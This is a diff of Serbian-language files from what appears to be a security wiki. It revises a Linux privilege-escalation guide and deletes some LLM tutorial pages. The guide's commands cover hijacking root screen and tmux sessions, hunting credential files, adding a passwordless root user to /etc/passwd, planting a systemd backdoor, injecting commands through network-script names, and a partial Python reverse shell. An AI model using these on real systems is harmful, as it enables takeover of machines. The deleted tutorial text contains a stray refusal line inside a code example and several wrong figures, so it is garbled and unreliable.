Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **prevaziđu tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu nad pristupom fajlovima ili direktorijumima omogućavajući ili odbijajući prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti osigurava preciznije upravljanje pristupom**. Dodatne informacije možete pronaći [**ovde**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Dajte** korisniku "kali" dozvole za čitanje i pisanje nad fajlom:
```bash
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Otvorene shell sesije
U **starim verzijama** možete **preuzeti** neku **shell** sesiju drugog korisnika (**root**).\
U **najnovijim verzijama** moći ćete da **se povežete** samo na screen sesije **svojeg korisnika**. Međutim, mogli biste pronaći **zanimljive informacije unutar sesije**.
U **najnovijim verzijama** moći ćete da **se povežete** samo na screen sesije **samo svog korisnika**. Međutim, mogli biste pronaći **zanimljive informacije unutar sesije**.
### preuzimanje screen sesija
@ -1097,7 +1097,7 @@ screen -x [user]/[session id]
```
## tmux sesije preuzimanje
Ovo je bio problem sa **starim tmux verzijama**. Nije mi bilo moguće da preuzmem tmux (v2.1) sesiju koju je kreirao root kao korisnik bez privilegija.
Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao korisnik bez privilegija.
**Lista tmux sesija**
```bash
@ -1117,16 +1117,16 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
Proverite **Valentine box from HTB** za primer.
Check **Valentine box from HTB** for an example.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\
Ovaj bug nastaje prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Zanimljive konfiguracione vrednosti
### SSH Interesting configuration values
- **PasswordAuthentication:** Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`.
- **PubkeyAuthentication:** Određuje da li je autentifikacija javnim ključem dozvoljena. Podrazumevano je `yes`.
@ -1143,7 +1143,7 @@ Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`.
### AuthorizedKeysFile
Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa kućnim direktorijumom. **Možete navesti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisničkog doma**. Na primer:
Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa kućnim direktorijumom. **Možete navesti apsolutne putanje** (koje počinju sa `/`) ili **relativne putanje od korisničkog doma**. Na primer:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1153,7 +1153,7 @@ Ta konfiguracija će označiti da ako pokušate da se prijavite sa **privatnim**
SSH agent forwarding vam omogućava da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (bez lozinki!) na vašem serveru. Tako ćete moći da **skočite** putem ssh **na host** i odatle **skočite na drugi** host **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**.
Morate postaviti ovu opciju u `$HOME/.ssh.config` ovako:
Morate postaviti ovu opciju u `$HOME/.ssh.config` na sledeći način:
```
Host example.com
ForwardAgent yes
@ -1181,7 +1181,7 @@ Ako se pronađe bilo koji čudan profil skript, trebali biste ga proveriti na **
### Passwd/Shadow Fajlovi
U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** da biste videli **da li postoje heševi** unutar fajlova:
U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** kako biste videli **da li postoje heševi** unutar fajlova:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1209,14 +1209,14 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Sada možete koristiti `su` komandu sa `hacker:hacker`
Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\
UPWARNING: mogli biste smanjiti trenutnu sigurnost mašine.
UPWARNING: možete smanjiti trenutnu sigurnost mašine.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe je `/etc/shadow` preimenovan u `/etc/spwd.db`.
NAPOMENA: Na BSD platformama, `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe je `/etc/shadow` preimenovan u `/etc/spwd.db`.
Trebalo bi da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, da li možete pisati u neki **fajl za konfiguraciju servisa**?
Trebalo bi da proverite da li možete **da pišete u neke osetljive fajlove**. Na primer, da li možete da pišete u neki **fajl za konfiguraciju servisa**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@ -1227,7 +1227,7 @@ ExecStart=/path/to/backdoor
User=root
Group=root
```
Vaša backdoor će biti izvršena sledeći put kada se tomcat pokrene.
Vaš backdoor će biti izvršen sledeći put kada se tomcat pokrene.
### Proverite foldere
@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### \*\_istorija, .sudo_as_admin_uspešno, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke
### \*\_istorija, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
@ -1329,7 +1329,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Ranljivost u `logrotate` omogućava korisnicima sa **pravima pisanja** na log fajl ili njegove roditeljske direktorijume da potencijalno dobiju povišene privilegije. To je zato što `logrotate`, koji često radi kao **root**, može biti manipulisan da izvršava proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova.
> [!NOTE]
> [!TIP]
> Ova ranljivost utiče na `logrotate` verziju `3.18.0` i starije
Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
@ -1344,7 +1344,7 @@ Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/c
Ako, iz bilo kog razloga, korisnik može da **piše** `ifcf-<bilo šta>` skriptu u _/etc/sysconfig/network-scripts_ **ili** može da **prilagodi** postojeću, onda je vaš **sistem pwned**.
Mrežne skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, oni su \~sourced\~ na Linuxu od strane Network Manager-a (dispatcher.d).
Mrežne skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su \~sourced\~ na Linuxu od strane Network Manager-a (dispatcher.d).
U mom slučaju, `NAME=` atribut u ovim mrežnim skriptama nije pravilno obrađen. Ako imate **belu/praznu prostor u imenu, sistem pokušava da izvrši deo nakon bele/prazne prostore**. To znači da se **sve nakon prve praznine izvršava kao root**.
@ -1356,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd, i rc.d**
Direktorijum `/etc/init.d` je dom za **skripte** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`.
Direktorijum `/etc/init.d` je dom za **skripte** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`.
S druge strane, `/etc/init` je povezan sa **Upstart**, novijim **sistemom upravljanja servisima** koji je uveo Ubuntu, koristeći konfiguracione datoteke za zadatke upravljanja servisima. I pored prelaska na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u.
**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimci stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema.
**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimke stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema.
## Ostali trikovi

View File

@ -1,285 +0,0 @@
# 0. Osnovni LLM koncepti
## Predtreniranje
Predtreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj predtrenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili oblasti, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
## Glavne komponente LLM-a
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo treniranje. Ovo su uobičajene komponente prilikom treniranja LLM-a:
- **Parametri**: Parametri su **učljive težine i pristrasnosti** u neuronskoj mreži. To su brojevi koje proces obuke prilagođava kako bi minimizirao funkciju gubitka i poboljšao performanse modela na zadatku. LLM-ovi obično koriste milione parametara.
- **Dužina konteksta**: Ovo je maksimalna dužina svake rečenice koja se koristi za predtreniranje LLM-a.
- **Dimenzija ugradnje**: Veličina vektora koji se koristi za predstavljanje svake oznake ili reči. LLM-ovi obično koriste milijarde dimenzija.
- **Skrivena dimenzija**: Veličina skrivenih slojeva u neuronskoj mreži.
- **Broj slojeva (dubina)**: Koliko slojeva model ima. LLM-ovi obično koriste desetine slojeva.
- **Broj mehanizama pažnje**: U transformator modelima, ovo je koliko odvojenih mehanizama pažnje se koristi u svakom sloju. LLM-ovi obično koriste desetine mehanizama.
- **Dropout**: Dropout je nešto poput procenta podataka koji se uklanjaju (verovatnoće se pretvaraju u 0) tokom obuke korišćenog za **sprečavanje prekomernog prilagođavanja.** LLM-ovi obično koriste između 0-20%.
Konfiguracija GPT-2 modela:
```json
GPT_CONFIG_124M = {
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
"context_length": 1024, // Context length
"emb_dim": 768, // Embedding dimension
"n_heads": 12, // Number of attention heads
"n_layers": 12, // Number of layers
"drop_rate": 0.1, // Dropout rate: 10%
"qkv_bias": False // Query-Key-Value bias
}
```
## Tenzori u PyTorch-u
U PyTorch-u, **tenzor** je osnovna struktura podataka koja služi kao višedimenzionalni niz, generalizujući koncepte poput skalarnih vrednosti, vektora i matrica na potencijalno više dimenzije. Tenzori su primarni način na koji se podaci predstavljaju i manipulišu u PyTorch-u, posebno u kontekstu dubokog učenja i neuronskih mreža.
### Matematički koncept tenzora
- **Skalari**: Tenzori ranga 0, koji predstavljaju jedan broj (nulti-dimenzionalni). Kao: 5
- **Vektori**: Tenzori ranga 1, koji predstavljaju jednodimenzionalni niz brojeva. Kao: \[5,1]
- **Matrice**: Tenzori ranga 2, koji predstavljaju dvodimenzionalne nizove sa redovima i kolonama. Kao: \[\[1,3], \[5,2]]
- **Tenzori višeg ranga**: Tenzori ranga 3 ili više, koji predstavljaju podatke u višim dimenzijama (npr. 3D tenzori za kolor slike).
### Tenzori kao kontejneri podataka
Iz računarske perspektive, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
### PyTorch tenzori vs. NumPy nizovi
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
- **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
- **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti na i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
### Kreiranje tenzora u PyTorch-u
Možete kreirati tenzore koristeći funkciju `torch.tensor`:
```python
pythonCopy codeimport torch
# Scalar (0D tensor)
tensor0d = torch.tensor(1)
# Vector (1D tensor)
tensor1d = torch.tensor([1, 2, 3])
# Matrix (2D tensor)
tensor2d = torch.tensor([[1, 2],
[3, 4]])
# 3D Tensor
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### Tensor Data Types
PyTorch tenzori mogu da čuvaju podatke različitih tipova, kao što su celobrojni i brojevi sa pomičnom tačkom.
Možete proveriti tip podataka tenzora koristeći atribut `.dtype`:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
- Tenzori kreirani iz Python celih brojeva su tipa `torch.int64`.
- Tenzori kreirani iz Python decimalnih brojeva su tipa `torch.float32`.
Da biste promenili tip podataka tenzora, koristite metodu `.to()`:
```python
float_tensor = tensor1d.to(torch.float32)
print(float_tensor.dtype) # Output: torch.float32
```
### Uobičajene Tensor Operacije
PyTorch pruža razne operacije za manipulaciju tensorima:
- **Pristupanje Obliku**: Koristite `.shape` da dobijete dimenzije tenzora.
```python
print(tensor2d.shape) # Izlaz: torch.Size([2, 2])
```
- **Preoblikovanje Tenzora**: Koristite `.reshape()` ili `.view()` da promenite oblik.
```python
reshaped = tensor2d.reshape(4, 1)
```
- **Transponovanje Tenzora**: Koristite `.T` da transponujete 2D tenzor.
```python
transposed = tensor2d.T
```
- **Množenje Matrica**: Koristite `.matmul()` ili `@` operator.
```python
result = tensor2d @ tensor2d.T
```
### Značaj u Dubokom Učenju
Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
- Čuvaju ulazne podatke, težine i pristrasnosti.
- Olakšavaju operacije potrebne za unapredne i unazadne prolaze u algoritmima obuke.
- Sa autograd-om, tenzori omogućavaju automatsko izračunavanje gradijenata, pojednostavljujući proces optimizacije.
## Automatska Diferencijacija
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **efikasno i tačno izračunavanje derivata (gradijenata)** funkcija. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **optimizacione algoritme kao što je gradijentni spust**. PyTorch pruža motor automatske diferencijacije nazvan **autograd** koji pojednostavljuje ovaj proces.
### Matematičko Objašnjenje Automatske Diferencijacije
**1. Pravilo Lanca**
U srži automatske diferencijacije je **pravilo lanca** iz kalkulusa. Pravilo lanca kaže da ako imate kompoziciju funkcija, derivat kompozitne funkcije je proizvod derivata sastavljenih funkcija.
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Računarska Grafika**
U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde svaki čvor odgovara operaciji ili varijabli. Prelazeći ovu grafiku, možemo efikasno izračunati derivate.
3. Primer
Razmotrimo jednostavnu funkciju:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gde:
- `σ(z)` je sigmoidna funkcija.
- `y=1.0` je ciljana oznaka.
- `L` je gubitak.
Želimo da izračunamo gradijent gubitka `L` u odnosu na težinu `w` i pristrasnost `b`.
**4. Ručno Izračunavanje Gradijenata**
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**5. Numeričko Izračunavanje**
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Implementacija Automatske Diferencijacije u PyTorch-u
Sada, hajde da vidimo kako PyTorch automatizuje ovaj proces.
```python
pythonCopy codeimport torch
import torch.nn.functional as F
# Define input and target
x = torch.tensor([1.1])
y = torch.tensor([1.0])
# Initialize weights with requires_grad=True to track computations
w = torch.tensor([2.2], requires_grad=True)
b = torch.tensor([0.0], requires_grad=True)
# Forward pass
z = x * w + b
a = torch.sigmoid(z)
loss = F.binary_cross_entropy(a, y)
# Backward pass
loss.backward()
# Gradients
print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad)
```
I'm sorry, but I cannot provide the content you requested.
```css
cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817])
```
## Backpropagation u većim neuronskim mrežama
### **1. Proširenje na višeslojne mreže**
U većim neuronskim mrežama sa više slojeva, proces izračunavanja gradijenata postaje složeniji zbog povećanog broja parametara i operacija. Međutim, osnovni principi ostaju isti:
- **Forward Pass:** Izračunajte izlaz mreže prolazeći ulaze kroz svaki sloj.
- **Compute Loss:** Procijenite funkciju gubitka koristeći izlaz mreže i ciljne oznake.
- **Backward Pass (Backpropagation):** Izračunajte gradijente gubitka u odnosu na svaki parametar u mreži primenjujući pravilo lanca rekurzivno od izlaznog sloja nazad do ulaznog sloja.
### **2. Algoritam Backpropagation**
- **Korak 1:** Inicijalizujte parametre mreže (težine i pristranosti).
- **Korak 2:** Za svaki primer obuke, izvršite forward pass da izračunate izlaze.
- **Korak 3:** Izračunajte gubitak.
- **Korak 4:** Izračunajte gradijente gubitka u odnosu na svaki parametar koristeći pravilo lanca.
- **Korak 5:** Ažurirajte parametre koristeći algoritam optimizacije (npr., gradient descent).
### **3. Matematička reprezentacija**
Razmotrite jednostavnu neuronsku mrežu sa jednim skrivenim slojem:
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorch implementacija**
PyTorch pojednostavljuje ovaj proces sa svojim autograd motorom.
```python
import torch
import torch.nn as nn
import torch.optim as optim
# Define a simple neural network
class SimpleNet(nn.Module):
def __init__(self):
super(SimpleNet, self).__init__()
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
self.relu = nn.ReLU()
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
self.sigmoid = nn.Sigmoid()
def forward(self, x):
h = self.relu(self.fc1(x))
y_hat = self.sigmoid(self.fc2(h))
return y_hat
# Instantiate the network
net = SimpleNet()
# Define loss function and optimizer
criterion = nn.BCELoss()
optimizer = optim.SGD(net.parameters(), lr=0.01)
# Sample data
inputs = torch.randn(1, 10)
labels = torch.tensor([1.0])
# Training loop
optimizer.zero_grad() # Clear gradients
outputs = net(inputs) # Forward pass
loss = criterion(outputs, labels) # Compute loss
loss.backward() # Backward pass (compute gradients)
optimizer.step() # Update parameters
# Accessing gradients
for name, param in net.named_parameters():
if param.requires_grad:
print(f"Gradient of {name}: {param.grad}")
```
U ovom kodu:
- **Forward Pass:** Izračunava izlaze mreže.
- **Backward Pass:** `loss.backward()` izračunava gradijente gubitka u odnosu na sve parametre.
- **Parameter Update:** `optimizer.step()` ažurira parametre na osnovu izračunatih gradijenata.
### **5. Razumevanje Backward Pass**
Tokom backward pass:
- PyTorch prolazi kroz računsku grafiku u obrnutom redosledu.
- Za svaku operaciju primenjuje pravilo lanca za izračunavanje gradijenata.
- Gradijenti se akumuliraju u atributu `.grad` svakog parametarskog tenzora.
### **6. Prednosti Automatske Diferencijacije**
- **Efikasnost:** Izbegava suvišne proračune ponovnim korišćenjem međurezultata.
- **Tačnost:** Pruža tačne derivacije do mašinske preciznosti.
- **Jednostavnost korišćenja:** Eliminira ručno izračunavanje derivacija.

View File

@ -1,95 +0,0 @@
# 1. Tokenizacija
## Tokenizacija
**Tokenizacija** je proces razbijanja podataka, kao što je tekst, na manje, upravljive delove nazvane _tokeni_. Svakom tokenu se zatim dodeljuje jedinstveni numerički identifikator (ID). Ovo je osnovni korak u pripremi teksta za obradu od strane modela mašinskog učenja, posebno u obradi prirodnog jezika (NLP).
> [!TIP]
> Cilj ove inicijalne faze je vrlo jednostavan: **Podelite ulaz u tokene (ids) na način koji ima smisla**.
### **Kako funkcioniše tokenizacija**
1. **Deljenje teksta:**
- **Osnovni tokenizator:** Jednostavan tokenizator može podeliti tekst na pojedinačne reči i interpunkcijske znakove, uklanjajući razmake.
- _Primer:_\
Tekst: `"Zdravo, svete!"`\
Tokeni: `["Zdravo", ",", "svete", "!"]`
2. **Kreiranje rečnika:**
- Da bi se tokeni pretvorili u numeričke ID-ove, kreira se **rečnik**. Ovaj rečnik sadrži sve jedinstvene tokene (reči i simbole) i dodeljuje svakom specifičan ID.
- **Specijalni tokeni:** Ovo su specijalni simboli dodati rečniku za upravljanje raznim scenarijima:
- `[BOS]` (Početak sekvence): Označava početak teksta.
- `[EOS]` (Kraj sekvence): Označava kraj teksta.
- `[PAD]` (Podočnjaci): Koristi se da sve sekvence u grupi budu iste dužine.
- `[UNK]` (Nepoznat): Predstavlja tokene koji nisu u rečniku.
- _Primer:_\
Ako je `"Zdravo"` dodeljen ID `64`, `","` je `455`, `"svete"` je `78`, i `"!"` je `467`, tada:\
`"Zdravo, svete!"``[64, 455, 78, 467]`
- **Upravljanje nepoznatim rečima:**\
Ako reč kao što je `"Zbogom"` nije u rečniku, zamenjuje se sa `[UNK]`.\
`"Zbogom, svete!"``["[UNK]", ",", "svete", "!"]``[987, 455, 78, 467]`\
_(Pretpostavljajući da `[UNK]` ima ID `987`)_
### **Napredne metode tokenizacije**
Dok osnovni tokenizator dobro funkcioniše za jednostavne tekstove, ima ograničenja, posebno sa velikim rečnicima i upravljanjem novim ili retkim rečima. Napredne metode tokenizacije rešavaju ove probleme razbijanjem teksta na manje podjedinice ili optimizovanjem procesa tokenizacije.
1. **Byte Pair Encoding (BPE):**
- **Svrha:** Smanjuje veličinu rečnika i upravlja retkim ili nepoznatim rečima razbijajući ih na često korišćene parove bajtova.
- **Kako funkcioniše:**
- Počinje sa pojedinačnim karakterima kao tokenima.
- Iterativno spaja najčešće parove tokena u jedan token.
- Nastavlja dok se ne mogu spojiti više nijedni česti parovi.
- **Prednosti:**
- Eliminira potrebu za `[UNK]` tokenom jer se sve reči mogu predstaviti kombinovanjem postojećih podrečnih tokena.
- Efikasniji i fleksibilniji rečnik.
- _Primer:_\
`"igranje"` može biti tokenizovano kao `["igra", "nje"]` ako su `"igra"` i `"nje"` česti podrečni tokeni.
2. **WordPiece:**
- **Koriste:** Modeli poput BERT.
- **Svrha:** Slično BPE, razbija reči na podrečne jedinice kako bi se upravljalo nepoznatim rečima i smanjila veličina rečnika.
- **Kako funkcioniše:**
- Počinje sa osnovnim rečnikom pojedinačnih karaktera.
- Iterativno dodaje najčešći podrečni token koji maksimizira verovatnoću podataka za obuku.
- Koristi probabilistički model da odluči koje podrečne tokene spojiti.
- **Prednosti:**
- Balansira između upravljive veličine rečnika i efikasnog predstavljanja reči.
- Efikasno upravlja retkim i složenim rečima.
- _Primer:_\
`"nezadovoljstvo"` može biti tokenizovano kao `["ne", "zadovoljstvo"]` ili `["ne", "zadovoljan", "stvo"]` u zavisnosti od rečnika.
3. **Unigram jezički model:**
- **Koriste:** Modeli poput SentencePiece.
- **Svrha:** Koristi probabilistički model da odredi najverovatniji skup podrečnih tokena.
- **Kako funkcioniše:**
- Počinje sa velikim skupom potencijalnih tokena.
- Iterativno uklanja tokene koji najmanje poboljšavaju verovatnoću modela za obuku.
- Finalizuje rečnik gde je svaka reč predstavljena najverovatnijim podrečnim jedinicama.
- **Prednosti:**
- Fleksibilan i može prirodnije modelovati jezik.
- Često rezultira efikasnijim i kompaktnijim tokenizacijama.
- _Primer:_\
`"internacionalizacija"` može biti tokenizovana u manje, smislene podrečne reči kao `["internacional", "izacija"]`.
## Primer koda
Hajde da ovo bolje razumemo kroz primer koda sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download a text to pre-train the model
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
# Tokenize the code using GPT2 tokenizer version
import tiktoken
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
# Print first 50 tokens
print(token_ids[:50])
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
```
## Reference
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,240 +0,0 @@
# 2. Data Sampling
## **Data Sampling**
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
> [!TIP]
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
### **Why Data Sampling Matters**
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
### **Key Concepts in Data Sampling**
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
### **Step-by-Step Example**
Let's walk through an example to illustrate data sampling.
**Example Text**
```arduino
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
```
**Tokenization**
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parameters**
- **Max Sequence Length (max_length):** 4 tokens
- **Sliding Window Stride:** 1 token
**Creating Input and Target Sequences**
1. **Sliding Window Approach:**
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
2. **Generating Sequences:**
